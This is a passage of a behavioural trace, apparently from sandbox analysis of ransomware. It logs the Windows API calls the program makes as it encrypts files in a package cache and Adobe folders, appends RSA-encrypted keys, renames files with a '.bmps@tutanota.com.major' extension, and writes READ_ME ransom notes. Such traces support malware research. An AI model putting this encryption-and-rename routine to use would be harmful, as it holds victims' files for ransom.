(dwErrCode=0x0) [0177.224] FindNextFileW (in: hFindFile=0x58e378, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbe7800, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5dbe7800, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5dbe7800, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0177.224] SetLastError (dwErrCode=0x0) [0177.224] GetLastError () returned 0x0 [0177.224] SetLastError (dwErrCode=0x0) [0177.224] GetLastError () returned 0x0 [0177.224] SetLastError (dwErrCode=0x0) [0177.224] FindNextFileW (in: hFindFile=0x58e378, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbe7800, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5dbe7800, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5dbe7800, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0177.224] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0177.224] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi", dwFileAttributes=0x80) returned 1 [0177.225] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7fc [0177.225] GetFileSizeEx (in: hFile=0x7fc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=143360) returned 1 [0177.225] ReadFile (in: hFile=0x7fc, lpBuffer=0x2f60858, nNumberOfBytesToRead=0x23000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f60858*, lpNumberOfBytesRead=0x2e3f9b4*=0x23000, lpOverlapped=0x0) returned 1 [0177.620] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=-143360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.621] WriteFile (in: hFile=0x7fc, lpBuffer=0x2ea0f38*, nNumberOfBytesToWrite=0x23000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0f38*, lpNumberOfBytesWritten=0x2e3f9b4*=0x23000, lpOverlapped=0x0) returned 1 [0177.621] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x23000 [0177.621] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0177.621] WriteFile (in: hFile=0x7fc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0177.622] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0177.622] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0177.622] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0177.622] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x58e898, pcchString=0x2e3f9a8 | out: pszString="BIuEEj9j7epFzpSS3duVNL2ReG+kBqkUGAsjjvG2X6/Q3ZoOXB1fwaJ7j6ZzsAux\nUKRVIAXD8btf5nAm5IZLdwW07WcIzbq8tO3J/ewmyRnBRU61RUc5A7Yk5cMMdn+u\nlaChF/uqOE+HBoRyeTpsNH3d2mLnfUvrjNdEpf9VHLaIbYd8WSExPERWgST1NsVJ\nvjoZcCBho9R6gJQ7H1Vo3eWjYt7L6q+Jfo7PamLEzdDjgJe2OW1ICln/bPoO5T9J\nPHt78jYirGkTIvl1tCK7+FUlU2QrEhEzbrTRBGrZqyCnpN0LRSNiY46pc7cu9JV4\nzX3qzw1OlB+paLB2MpTnPQ==\n", pcchString=0x2e3f9a8) returned 1 [0177.622] WriteFile (in: hFile=0x7fc, lpBuffer=0x58e898*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e898*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0177.622] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0177.622] WriteFile (in: hFile=0x7fc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0177.623] CloseHandle (hObject=0x7fc) returned 1 [0177.623] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), lpNewFileName="\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0177.625] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0177.625] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab", dwFileAttributes=0x80) returned 1 [0177.625] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7fc [0177.625] GetFileSizeEx (in: hFile=0x7fc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4932896) returned 1 [0177.625] ReadFile (in: hFile=0x7fc, lpBuffer=0x3142020, nNumberOfBytesToRead=0x4b4520, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3142020*, lpNumberOfBytesRead=0x2e3f9b4*=0x4b4520, lpOverlapped=0x0) returned 1 [0177.849] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=-4932896, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.849] WriteFile (in: hFile=0x7fc, lpBuffer=0x360f020*, nNumberOfBytesToWrite=0x4b4520, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x360f020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4b4520, lpOverlapped=0x0) returned 1 [0177.903] SetFilePointer (in: hFile=0x7fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4b4520 [0177.904] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0177.904] WriteFile (in: hFile=0x7fc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0177.904] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0177.904] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0177.904] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0177.904] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x58e898, pcchString=0x2e3f9a8 | out: pszString="N5bxZ80d1pe2gc+28tnoE4Dnh3RLK+hpwzWxtDNIFa90MVyFEZ1O6xYXDvjxX1dN\nwl39NT7n3mCkaDJM8sZuqSY9MtV3+c+5YHojE/fyruRS79LvCjAfDPsHD5bjSXiB\nDFodqptOItMnGZlg0HW/kblx47j1tjI9iJRnRH6UA+0wQvDG8kToIDrt00dIMaHE\nIz4awPGmVU3nmAsgbkbdFIObWAeo1I5je0XoaX3/2/XsjHcIIksCRAWe4EHWfsNC\nuSLmzuXRiIR1r78i5JfS4AtuSRdtgOgalYMu1J5WeqnCaxmVLZa3s5SMe4xlkDlB\nGDyk92JQ8FqmHpTASn/pMg==\n", pcchString=0x2e3f9a8) returned 1 [0177.904] WriteFile (in: hFile=0x7fc, lpBuffer=0x58e898*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e898*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0177.904] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0177.904] WriteFile (in: hFile=0x7fc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0177.904] CloseHandle (hObject=0x7fc) returned 1 [0177.904] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab"), lpNewFileName="\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\cab1.cab.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\cab1.cab.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0177.907] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x21b319ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x58e538 [0177.908] SetLastError (dwErrCode=0x0) [0177.908] GetLastError () returned 0x0 [0177.908] SetLastError (dwErrCode=0x0) [0177.908] GetLastError () returned 0x0 [0177.908] SetLastError (dwErrCode=0x0) [0177.908] FindNextFileW (in: hFindFile=0x58e538, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x21b319ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0177.908] SetLastError (dwErrCode=0x0) [0177.908] GetLastError () returned 0x0 [0177.908] SetLastError (dwErrCode=0x0) [0177.908] GetLastError () returned 0x0 [0177.908] SetLastError (dwErrCode=0x0) [0177.908] FindNextFileW (in: hFindFile=0x58e538, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe8b394a7, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8b394a7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="DC", cAlternateFileName="")) returned 1 [0177.908] SetLastError (dwErrCode=0x0) [0177.908] GetLastError () returned 0x0 [0177.908] SetLastError (dwErrCode=0x0) [0177.908] GetLastError () returned 0x0 [0177.909] SetLastError (dwErrCode=0x0) [0177.909] SetLastError (dwErrCode=0x0) [0177.909] GetLastError () returned 0x0 [0177.909] SetLastError (dwErrCode=0x0) [0177.909] GetLastError () returned 0x0 [0177.909] SetLastError (dwErrCode=0x0) [0177.909] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrobat\\dc\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x804 [0177.951] WriteFile (in: hFile=0x804, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0177.952] CloseHandle (hObject=0x804) returned 1 [0177.952] FindNextFileW (in: hFindFile=0x58e538, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21b319ee, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21b319ee, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21b319ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0177.952] SetLastError (dwErrCode=0x0) [0177.952] GetLastError () returned 0x0 [0177.952] SetLastError (dwErrCode=0x0) [0177.952] GetLastError () returned 0x0 [0177.953] SetLastError (dwErrCode=0x0) [0177.953] FindNextFileW (in: hFindFile=0x58e538, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21b319ee, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21b319ee, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21b319ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0177.953] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x21b319ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x58e178 [0177.953] SetLastError (dwErrCode=0x12) [0177.953] GetLastError () returned 0x12 [0177.953] SetLastError (dwErrCode=0x12) [0177.953] GetLastError () returned 0x12 [0177.953] SetLastError (dwErrCode=0x12) [0177.953] FindNextFileW (in: hFindFile=0x58e178, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x21b319ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0177.953] SetLastError (dwErrCode=0x12) [0177.953] GetLastError () returned 0x12 [0177.953] SetLastError (dwErrCode=0x12) [0177.953] GetLastError () returned 0x12 [0177.953] SetLastError (dwErrCode=0x12) [0177.953] FindNextFileW (in: hFindFile=0x58e178, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x76e74ef1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76e74ef1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x76e74ef1, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="DC", cAlternateFileName="")) returned 1 [0177.953] SetLastError (dwErrCode=0x12) [0177.953] GetLastError () returned 0x12 [0177.953] SetLastError (dwErrCode=0x12) [0177.953] GetLastError () returned 0x12 [0177.953] SetLastError (dwErrCode=0x12) [0177.953] SetLastError (dwErrCode=0x12) [0177.953] GetLastError () returned 0x12 [0177.953] SetLastError (dwErrCode=0x12) [0177.953] GetLastError () returned 0x12 [0177.954] SetLastError (dwErrCode=0x12) [0177.954] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x808 [0177.957] WriteFile (in: hFile=0x808, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0177.958] CloseHandle (hObject=0x808) returned 1 [0177.958] FindNextFileW (in: hFindFile=0x58e178, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21b319ee, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21b319ee, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21b319ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0177.958] SetLastError (dwErrCode=0x0) [0177.958] GetLastError () returned 0x0 [0177.958] SetLastError (dwErrCode=0x0) [0177.958] GetLastError () returned 0x0 [0177.958] SetLastError (dwErrCode=0x0) [0177.958] FindNextFileW (in: hFindFile=0x58e178, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21b319ee, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21b319ee, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21b319ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0177.958] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x21b319ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x58e3b8 [0177.958] SetLastError (dwErrCode=0x12) [0177.958] GetLastError () returned 0x12 [0177.958] SetLastError (dwErrCode=0x12) [0177.959] GetLastError () returned 0x12 [0177.959] SetLastError (dwErrCode=0x12) [0177.959] FindNextFileW (in: hFindFile=0x58e3b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x21b319ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0177.959] SetLastError (dwErrCode=0x12) [0177.959] GetLastError () returned 0x12 [0177.959] SetLastError (dwErrCode=0x12) [0177.959] GetLastError () returned 0x12 [0177.959] SetLastError (dwErrCode=0x12) [0177.959] FindNextFileW (in: hFindFile=0x58e3b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73de0392, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73de0392, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73e065fe, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x480, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ACECache11.lst", cAlternateFileName="ACECAC~1.LST")) returned 1 [0177.959] SetLastError (dwErrCode=0x12) [0177.959] GetLastError () returned 0x12 [0177.959] SetLastError (dwErrCode=0x12) [0177.959] GetLastError () returned 0x12 [0177.959] SetLastError (dwErrCode=0x12) [0177.959] FindNextFileW (in: hFindFile=0x58e3b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73a98eca, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x73d6dc69, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x73d6dc69, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Profiles", cAlternateFileName="")) returned 1 [0177.960] SetLastError (dwErrCode=0x12) [0177.960] GetLastError () returned 0x12 [0177.960] SetLastError (dwErrCode=0x12) [0177.960] GetLastError () returned 0x12 [0177.960] SetLastError (dwErrCode=0x12) [0177.960] SetLastError (dwErrCode=0x12) [0177.960] GetLastError () returned 0x12 [0177.960] SetLastError (dwErrCode=0x12) [0177.960] GetLastError () returned 0x12 [0177.960] SetLastError (dwErrCode=0x12) [0177.960] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Color\\Profiles\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\color\\profiles\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x80c [0177.961] WriteFile (in: hFile=0x80c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0177.962] CloseHandle (hObject=0x80c) returned 1 [0177.962] FindNextFileW (in: hFindFile=0x58e3b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21b319ee, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21b319ee, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21b319ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0177.962] SetLastError (dwErrCode=0x0) [0177.962] GetLastError () returned 0x0 [0177.962] SetLastError (dwErrCode=0x0) [0177.962] GetLastError () returned 0x0 [0177.962] SetLastError (dwErrCode=0x0) [0177.962] FindNextFileW (in: hFindFile=0x58e3b8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21b319ee, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21b319ee, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21b319ee, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0177.962] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0177.962] 